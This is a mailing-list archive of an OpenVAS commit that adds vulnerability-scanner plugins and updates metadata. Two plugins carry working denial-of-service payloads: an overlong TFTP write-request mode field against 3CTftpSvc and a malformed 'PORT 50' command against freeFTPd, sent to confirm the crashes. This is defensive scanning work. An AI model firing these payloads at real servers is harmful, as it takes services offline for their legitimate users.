[Openvas-commits] r13744 - in trunk/openvas-plugins: . scripts

scm-commit at wald.intevation.org scm-commit at wald.intevation.org
Tue Jul 17 16:23:56 CEST 2012


Author: antu123
Date: 2012-07-17 16:23:55 +0200 (Tue, 17 Jul 2012)
New Revision: 13744

Added:
   trunk/openvas-plugins/scripts/gb_3ctftpsvc_tftp_server_mode_bof_vuln.nasl
   trunk/openvas-plugins/scripts/gb_freeftpd_port_cmd_dos_vuln.nasl
   trunk/openvas-plugins/scripts/gb_ms_unauth_digital_cert_spoofing_vuln.nasl
Modified:
   trunk/openvas-plugins/ChangeLog
   trunk/openvas-plugins/scripts/gb_ms_fraudulent_digital_cert_spoofing_vuln.nasl
   trunk/openvas-plugins/scripts/secpod_ms12-050.nasl
   trunk/openvas-plugins/scripts/secpod_ms12-051_macosx.nasl
Log:
Added new plugins, Updated CVSS and Deprecated.

Modified: trunk/openvas-plugins/ChangeLog
===================================================================
--- trunk/openvas-plugins/ChangeLog	2012-07-17 10:55:26 UTC (rev 13743)
+++ trunk/openvas-plugins/ChangeLog	2012-07-17 14:23:55 UTC (rev 13744)
@@ -1,3 +1,19 @@
+2012-07-17  Antu Sanadi <santu at secpod.com>
+
+	* scripts/gb_3ctftpsvc_tftp_server_mode_bof_vuln.nasl,
+	scripts/gb_freeftpd_port_cmd_dos_vuln.nasl,
+	scripts/gb_ms_unauth_digital_cert_spoofing_vuln.nasl:
+	Added new plugins.
+
+	* scripts/secpod_ms12-050.nasl:
+	Updated the file path to avoid a possible FP.
+
+	* scripts/secpod_ms12-051_macosx.nasl:
+	Updated CVSS and and risk factor.
+
+	* scripts/gb_ms_fraudulent_digital_cert_spoofing_vuln.nasl:
+	Deprecated, It is addressed in gb_unauth_digital_cert_spoofing_vuln.nasl
+
 2012-07-17 Michael Meyer <michael.meyer at greenbone.net>
 
 	* scripts/secpod_database_open_access_vuln.nasl:


Property changes on: trunk/openvas-plugins/ChangeLog
___________________________________________________________________
Added: svn:keywords
   + Revision Date Id

Added: trunk/openvas-plugins/scripts/gb_3ctftpsvc_tftp_server_mode_bof_vuln.nasl
===================================================================
--- trunk/openvas-plugins/scripts/gb_3ctftpsvc_tftp_server_mode_bof_vuln.nasl	                        (rev 0)
+++ trunk/openvas-plugins/scripts/gb_3ctftpsvc_tftp_server_mode_bof_vuln.nasl	2012-07-17 14:23:55 UTC (rev 13744)
@@ -0,0 +1,114 @@
+##############################################################################
+# OpenVAS Vulnerability Test
+# $Id$
+#
+# 3CTftpSvc TFTP Server Long Mode Buffer Overflow Vulnerability
+#
+# Authors:
+# Sooraj KS <kssooraj at secpod.com>
+#
+# Copyright:
+# Copyright (c) 2012 Greenbone Networks GmbH, http://www.greenbone.net
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License version 2
+# (or any later version), as published by the Free Software Foundation.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+###############################################################################
+
+if(description)
+{
+  script_id(802658);
+  script_version("$Revision$");
+  script_cve_id("CVE-2006-6183");
+  script_bugtraq_id(21301, 21322);
+  script_tag(name:"cvss_base", value:"10.0");
+  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
+  script_tag(name:"risk_factor", value:"Critical");
+  script_tag(name:"last_modification", value:"$Date$");
+  script_tag(name:"creation_date", value:"2012-07-10 15:15:15 +0530 (Tue, 10 Jul 2012)");
+  script_name("3CTftpSvc TFTP Server Long Mode Buffer Overflow Vulnerability");
+  desc = "
+  Overview: This host is running 3CTftpSvc TFTP Server and is prone to buffer
+  overflow vulnerability.
+
+  Vulnerability Insight:
+  The flaw is caused due to a boundary error during the processing of TFTP
+  Read/Write request packet types. This can be exploited to cause a stack
+  based buffer overflow by sending a specially crafted packet with an overly
+  long mode field.
+
+  Impact:
+  Successful exploitation will allow attackers to cause the application to
+  crash, denying further service to legitimate users.
+
+  Impact Level: Application
+
+  Affected Software/OS:
+  3Com 3CTFTPSvc TFTP Server version 2.0.1
+
+  Fix: No solution or patch is available as on 10th July, 2012. Information
+  regarding this issue will be updated once the solution details are available.
+  For updates refer, http://support.3com.com/software/utilities_for_windows_32_bit.htm
+
+  References:
+  http://secunia.com/advisories/23113
+  http://xforce.iss.net/xforce/xfdb/30545
+  http://cxsecurity.com/issue/WLB-2006120002
+  http://support.3com.com/software/utilities_for_windows_32_bit.htm
+  http://www.securityfocus.com/archive/1/archive/1/452754/100/0/threaded ";
+
+  script_description(desc);
+  script_summary("Determine if 3CTFTPSvc TFTP Server is prone to a denial of service");
+  script_category(ACT_DENIAL);
+  script_copyright("Copyright (c) 2012 Greenbone Networks GmbH");
+  script_family("Buffer overflow");
+  script_require_ports("Services/udp/tftp");
+  exit(0);
+}
+
+
+include("tftp.inc");
+
+## Get TFTP Port
+port = get_kb_item("Services/udp/tftp");
+if(!port){
+  port = 69;
+}
+
+## Check TFTP Port Status
+if(! tftp_alive(port:port)){
+  exit(0);
+}
+
+## Open UDP Socket
+soc = open_sock_udp(port);
+if(!soc){
+  exit(0);
+}
+
+## Construct the attack request with long transporting mode
+mode = "netascii" + crap(data: "A", length: 469);
+attack = raw_string(0x00, 0x02) +       ## Write Request
+         "A" + raw_string(0x00) +       ## Source File Name
+         mode + raw_string(0x00);       ## Type (Mode)
+
+## Send the attack request to TFTP Server
+send(socket:soc, data:attack);
+send(socket:soc, data:attack);
+close(soc);
+
+sleep(2);
+
+## Check TFTP Server is alive or not
+if(!tftp_alive(port:port)) {
+  security_hole(port:port, proto:"udp");
+}


Property changes on: trunk/openvas-plugins/scripts/gb_3ctftpsvc_tftp_server_mode_bof_vuln.nasl
___________________________________________________________________
Added: svn:keywords
   + Revision Date Id

Added: trunk/openvas-plugins/scripts/gb_freeftpd_port_cmd_dos_vuln.nasl
===================================================================
--- trunk/openvas-plugins/scripts/gb_freeftpd_port_cmd_dos_vuln.nasl	                        (rev 0)
+++ trunk/openvas-plugins/scripts/gb_freeftpd_port_cmd_dos_vuln.nasl	2012-07-17 14:23:55 UTC (rev 13744)
@@ -0,0 +1,158 @@
+###############################################################################
+# OpenVAS Vulnerability Test
+# $Id$
+#
+# freeFTPD PORT Command Denial of Service Vulnerability
+#
+# Authors:
+# Madhuri D <dmadhuri at secpod.com>
+#
+# Copyright:
+# Copyright (c) 2012 Greenbone Networks GmbH, http://www.greenbone.net
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License version 2
+# (or any later version), as published by the Free Software Foundation.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+###############################################################################
+
+if(description)
+{
+  script_id(802913);
+  script_version("$Revision$");
+  script_cve_id("CVE-2005-3812");
+  script_bugtraq_id(15557);
+  script_tag(name:"cvss_base", value:"6.8");
+  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:S/C:N/I:N/A:C");
+  script_tag(name:"risk_factor", value:"High");
+  script_tag(name:"last_modification", value:"$Date$");
+  script_tag(name:"creation_date", value:"2012-07-13 14:06:29 +0530 (Fri, 13 Jul 2012)");
+  script_name("freeFTPD PORT Command Denial of Service Vulnerability");
+  desc = "
+  Overview: This host is running FreeFTPD Server and is prone to denial of
+  service vulnerability.
+
+  Vulnerability Insight:
+  A NULL pointer dereferencing error exists when parsing the parameter of the
+  PORT command. Logged on user can send a port command appended with some
+  numbers to crash the server.
+
+  Impact:
+  Successful exploitation allows remote attackers to crash an affected server,
+  effectively denying service to legitimate users.
+
+  Impact Level: Application
+
+  Affected Software/OS:
+  freeFTPd version 1.0.10 and prior
+
+  Fix: Upgrade to freeFTPd version 1.0.11 or later
+  For updates refer, http://www.freesshd.com/?ctt=download
+
+  References:
+  http://osvdb.org/show/osvdb/21108
+  http://secunia.com/advisories/17737
+  http://www.exploit-db.com/exploits/1339/
+  http://www.securityfocus.com/archive/1/417602 ";
+
+  script_description(desc);
+  script_summary("Check if freeFTPd is prone to DoS vulnerability");
+  script_category(ACT_DENIAL);
+  script_copyright("Copyright (C) 2012 Greenbone Networks GmbH");
+  script_family("Denial of Service");
+  script_require_ports("Services/ftp", 21);
+  exit(0);
+}
+
+
+##
+## The script code starts here
+##
+
+include("ftp_func.inc");
+
+## Variable Initialization
+ftpPort = "";
+soc = "";
+soc2 = "";
+banner = "";
+user = "";
+pass = "";
+login_details = "";
+
+## Get ftp Port
+ftpPort = get_kb_item("Services/ftp");
+if(!ftpPort){
+  ftpPort = 21;
+}
+
+## check port status
+if(!get_port_state(ftpPort)){
+  exit(0);
+}
+
+## Open TCP Socket
+soc = open_sock_tcp(ftpPort);
+if(!soc) {
+  exit(0);
+}
+
+## Accept the banner and
+## Confirm the Application before trying exploit
+banner = recv(socket:soc, length:512);
+if("I'm freeFTPd" >!< banner)
+{
+  ftp_close(socket:soc);
+  exit(0);
+}
+
+## Check for the user name and password
+user = get_kb_item("ftp/login");
+if(! user){
+  user = "anonymous";
+}
+
+pass = get_kb_item("ftp/password");
+if(! pass){
+  pass = "anonymous";
+}
+
+## Try to Login
+login_details = ftp_authenticate(socket:soc, user:user, pass:pass);
+if(!login_details)
+{
+  ftp_close(socket:soc);
+  exit(0);
+}
+
+data = "PORT 50";
+
+## Send the crafted data
+ftp_send_cmd(socket:soc, cmd:data);
+ftp_close(socket:soc);
+
+## Open the socket to confirm FTP server is alive
+soc2 = open_sock_tcp(ftpPort);
+if(!soc2)
+{
+  security_hole(ftpPort);
+  exit(0);
+}
+
+## Some time server will be listening, but won't respond
+banner =  recv(socket:soc2, length:512);
+if("I'm freeFTPd" >!< banner)
+{
+  ftp_close(socket:soc2);
+  security_hole(ftpPort);
+  exit(0);
+}
+ftp_close(socket:soc2);


Property changes on: trunk/openvas-plugins/scripts/gb_freeftpd_port_cmd_dos_vuln.nasl
___________________________________________________________________
Added: svn:keywords
   + Revision Date Id

Modified: trunk/openvas-plugins/scripts/gb_ms_fraudulent_digital_cert_spoofing_vuln.nasl
===================================================================
--- trunk/openvas-plugins/scripts/gb_ms_fraudulent_digital_cert_spoofing_vuln.nasl	2012-07-17 10:55:26 UTC (rev 13743)
+++ trunk/openvas-plugins/scripts/gb_ms_fraudulent_digital_cert_spoofing_vuln.nasl	2012-07-17 14:23:55 UTC (rev 13744)
@@ -28,12 +28,17 @@
 {
   script_id(802403);
   script_version("$Revision$");
+  script_tag(name:"deprecated", value:TRUE);
   script_tag(name:"cvss_base", value:"5.0");
   script_tag(name:"risk_factor", value:"Medium");
   script_tag(name:"last_modification", value:"$Date$");
   script_tag(name:"creation_date", value:"2011-11-11 12:04:44 +0530 (Fri, 11 Nov 2011)");
   script_name("MS Windows Fraudulent Digital Certificates Spoofing Vulnerability (2641690)");
   desc = "
+  This NVT has been superseded by KB2718704 Which is addressed in NVT
+  gb_unauth_digital_cert_spoofing_vuln.nasl (OID:1.3.6.1.4.1.25623.1.0.802634).
+
+
   Overview: The host is installed with Microsoft Windows operating system and
   is prone to spoofing vulnerability.
 
@@ -73,6 +78,8 @@
   exit(0);
 }
 
+exit(66); ## This NVT is deprecated as it is superseded by KB2718704
+          ## Which is addressed in gb_unauth_digital_cert_spoofing_vuln.nasl
 
 include("smb_nt.inc");
 include("secpod_reg.inc");

Added: trunk/openvas-plugins/scripts/gb_ms_unauth_digital_cert_spoofing_vuln.nasl
===================================================================
--- trunk/openvas-plugins/scripts/gb_ms_unauth_digital_cert_spoofing_vuln.nasl	                        (rev 0)
+++ trunk/openvas-plugins/scripts/gb_ms_unauth_digital_cert_spoofing_vuln.nasl	2012-07-17 14:23:55 UTC (rev 13744)
@@ -0,0 +1,172 @@
+###############################################################################
+# OpenVAS Vulnerability Test
+# $Id$
+#
+# Microsoft Unauthorized Digital Certificates Spoofing Vulnerability (2728973)
+#
+# Authors:
+# Madhuri D <dmadhuri at secpod.com>
+#
+# Copyright:
+# Copyright (c) 2012 Greenbone Networks GmbH, http://www.greenbone.net
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License version 2
+# (or any later version), as published by the Free Software Foundation.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+###############################################################################
+
+if(description)
+{
+  script_id(802912);
+  script_version("$Revision$");
+  script_tag(name:"cvss_base", value:"9.3");
+  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:C/I:C/A:C");
+  script_tag(name:"risk_factor", value:"Critical");
+  script_tag(name:"last_modification", value:"$Date$");
+  script_tag(name:"creation_date", value:"2012-07-12 17:17:25 +0530 (Thu, 12 Jul 2012)");
+  script_name("Microsoft Unauthorized Digital Certificates Spoofing Vulnerability (2728973)");
+  desc = "
+  Overview: This host is installed with Microsoft Windows operating system and
+  is prone to Spoofing vulnerability.
+
+  Vulnerability Insight:
+  Microsoft certificate authorities, which are stored outside the recommended
+  secure storage practices can be misused. An attacker could use these
+  certificates to spoof content, perform phishing attacks, or perform
+  man-in-the-middle attacks.
+
+  Impact:
+  Successful exploitation could allow remote attackers to use the
+  certificates to spoof content, perform phishing attacks, or perform
+  man-in-the-middle attacks.
+
+  Impact Level: System
+
+  Affected Software/OS:
+  Microsoft Windows XP x32 Edition Service Pack 3 and prior
+  Microsoft Windows XP x64 Edition Service Pack 2 and prior
+  Microsoft Windows 7 x32/x64 Edition Service Pack 1 and prior
+  Microsoft Windows 2003 x32/x64 Edition Service Pack 2 and prior
+  Microsoft Windows Vista x32/x64 Edition Service Pack 2 and prior
+  Microsoft Windows Server 2008 R2 x64 Edition Service Pack 1 and prior
+  Microsoft Windows Server 2008 x32/x64 Edition Service Pack 2 and prior
+
+  Fix: Apply the Patch from below link,
+  http://support.microsoft.com/kb/2728973
+
+  References:
+  http://support.microsoft.com/kb/2728973
+  http://technet.microsoft.com/en-us/security/advisory/2728973 ";
+
+  script_description(desc);
+  script_summary("Check if affected certificates are Untrusted Certificates");
+  script_category(ACT_GATHER_INFO);
+  script_copyright("This script is Copyright (C) 2012 Greenbone Networks GmbH");
+  script_family("Windows");
+  script_dependencies("smb_reg_service_pack.nasl");
+  exit(0);
+}
+
+
+include("smb_nt.inc");
+include("secpod_reg.inc");
+
+## Variable Initialization
+certs = "";
+cert = "";
+flag = FALSE;
+
+## Check for OS and Service Pack
+if(hotfix_check_sp(xp:4, xpx64:3, win2003:3, win2003x64:3, winVista:3, win7:2,
+                   win7x64:2, win2008:3, win2008r2:2) <= 0){
+  exit(0);
+}
+
+## Untrusted Certificates Path
+key = "SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates\";
+if(!registry_key_exists(key:key)) {
+  exit(0);
+}
+
+## The invalid certificates and their thumbprints
+certs = make_list(
+        ## Microsoft Genuine Windows Phone Public Preview CA01
+        "E38A2B7663B86796436D8DF5898D9FAA6835B238",
+        ## Microsoft IPTVe CA
+        "BED412B1334D7DFCEBA3015E5F9F905D571C45CF",
+        ## Microsoft Online CA001
+        "A1505D9843C826DD67ED4EA5209804BDBB0DF502",
+        ## Microsoft Online Svcs BPOS APAC CA1
+        "D43153C8C25F0041287987250F1E3CABAC8C2177",
+        ## Microsoft Online Svcs BPOS APAC CA2
+        "D8CE8D07F9F19D2569C2FB854401BC99C1EB7C3B",
+        ##Microsoft Online Svcs BPOS APAC CA3
+        "E95DD86F32C771F0341743EBD75EC33C74A3DED9",
+        ##Microsoft Online Svcs BPOS APAC CA4
+        "3A26012171855D4020C973BEC3F4F9DA45BD2B83",
+        ## Microsoft Online Svcs BPOS APAC CA5
+        "D0BB3E3DFBFB86C0EEE2A047E328609E6E1F185E",
+        ## Microsoft Online Svcs BPOS APAC CA6
+        "08738A96A4853A52ACEF23F782E8E1FEA7BCED02",
+        ## Microsoft Online Svcs BPOS CA1
+        "7613BF0BA261006CAC3ED2DDBEF343425357F18B",
+        ## Microsoft Online Svcs BPOS CA2
+        "587B59FB52D8A683CBE1CA00E6393D7BB923BC92",
+        ## Microsoft Online Svcs BPOS CA2
+        "4ED8AA06D1BC72CA64C47B1DFE05ACC8D51FC76F",
+        ## Microsoft Online Svcs BPOS CA2
+        "F5A874F3987EB0A9961A564B669A9050F770308A",
+        ## Microsoft Online Svcs BPOS EMEA CA1
+        "A35A8C727E88BCCA40A3F9679CE8CA00C26789FD",
+        ## Microsoft Online Svcs BPOS EMEA CA2
+        "E9809E023B4512AA4D4D53F40569C313C1D0294D",
+        ## Microsoft Online Svcs BPOS EMEA CA3
+        "A7B5531DDC87129E2C3BB14767953D6745FB14A6",
+        ## Microsoft Online Svcs BPOS EMEA CA4
+        "330D8D3FD325A0E5FDDDA27013A2E75E7130165F",
+        ## Microsoft Online Svcs BPOS EMEA CA5
+        "09271DD621EBD3910C2EA1D059F99B8181405A17",
+        ## Microsoft Online Svcs BPOS EMEA CA6
+        "838FFD509DE868F481C29819992E38A4F7082873",
+        ## Microsoft Online Svcs CA1
+        "23EF3384E21F70F034C467D4CBA6EB61429F174E",
+        ## Microsoft Online Svcs CA1
+        "A221D360309B5C3C4097C44CC779ACC5A9845B66",
+        ## Microsoft Online Svcs CA3
+        "8977E8569D2A633AF01D0394851681CE122683A6",
+        ## Microsoft Online Svcs CA3
+        "374D5B925B0BD83494E656EB8087127275DB83CE",
+        ## Microsoft Online Svcs CA4
+        "6690C02B922CBD3FF0D0A5994DBD336592887E3F",
+        ## Microsoft Online Svcs CA4
+        "5D5185DF1EB7DC76015422EC8138A5724BEE2886",
+        ## Microsoft Online Svcs CA5
+        "A81706D31E6F5C791CD9D3B1B9C63464954BA4F5",
+        ## Microsoft Online Svcs CA5
+        "4DF13947493CFF69CDE554881C5F114E97C3D03B",
+        ## Microsoft Online Svcs CA6
+        "09FF2CC86CEEFA8A8BB3F2E3E84D6DA3FABBF63E"
+        );
+
+## Check if certificates are added by checking registry key
+foreach cert (certs)
+{
+  if(! registry_key_exists(key: key+cert))
+  {
+    flag = TRUE;
+    break;
+  }
+}
+
+if(flag){
+  security_hole(0);
+}


Property changes on: trunk/openvas-plugins/scripts/gb_ms_unauth_digital_cert_spoofing_vuln.nasl
___________________________________________________________________
Added: svn:keywords
   + Revision Date Id

Modified: trunk/openvas-plugins/scripts/secpod_ms12-050.nasl
===================================================================
--- trunk/openvas-plugins/scripts/secpod_ms12-050.nasl	2012-07-17 10:55:26 UTC (rev 13743)
+++ trunk/openvas-plugins/scripts/secpod_ms12-050.nasl	2012-07-17 14:23:55 UTC (rev 13744)
@@ -129,8 +129,8 @@
 infoPath = "";
 
 ## InfoPath 2007 and InfoPath 2010
-keys = make_list("SOFTWARE\Microsoft\Office\12.0\Common\InstallRoot",
-                 "SOFTWARE\Microsoft\Office\14.0\Common\InstallRoot");
+keys = make_list("SOFTWARE\Microsoft\Office\12.0\InfoPath\InstallRoot",
+                 "SOFTWARE\Microsoft\Office\14.0\InfoPath\InstallRoot");
 foreach key(keys)
 {
   if(registry_key_exists(key:key))

Modified: trunk/openvas-plugins/scripts/secpod_ms12-051_macosx.nasl
===================================================================
--- trunk/openvas-plugins/scripts/secpod_ms12-051_macosx.nasl	2012-07-17 10:55:26 UTC (rev 13743)
+++ trunk/openvas-plugins/scripts/secpod_ms12-051_macosx.nasl	2012-07-17 14:23:55 UTC (rev 13744)
@@ -30,9 +30,9 @@
   script_version("$Revision$");
   script_cve_id("CVE-2012-1894");
   script_bugtraq_id(54361);
-  script_tag(name:"cvss_base", value:"9.3");
-  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:C/I:C/A:C");
-  script_tag(name:"risk_factor", value:"Critical");
+  script_tag(name:"cvss_base", value:"6.9");
+  script_tag(name:"cvss_base_vector", value:"AV:L/AC:M/Au:N/C:C/I:C/A:C");
+  script_tag(name:"risk_factor", value:"High");
   script_tag(name:"last_modification", value:"$Date$");
   script_tag(name:"creation_date", value:"2012-07-11 08:54:28 +0530 (Wed, 11 Jul 2012)");
   script_name("Microsoft Office Privilege Elevation Vulnerability - 2721015 (Mac OS X)");



More information about the Openvas-commits mailing list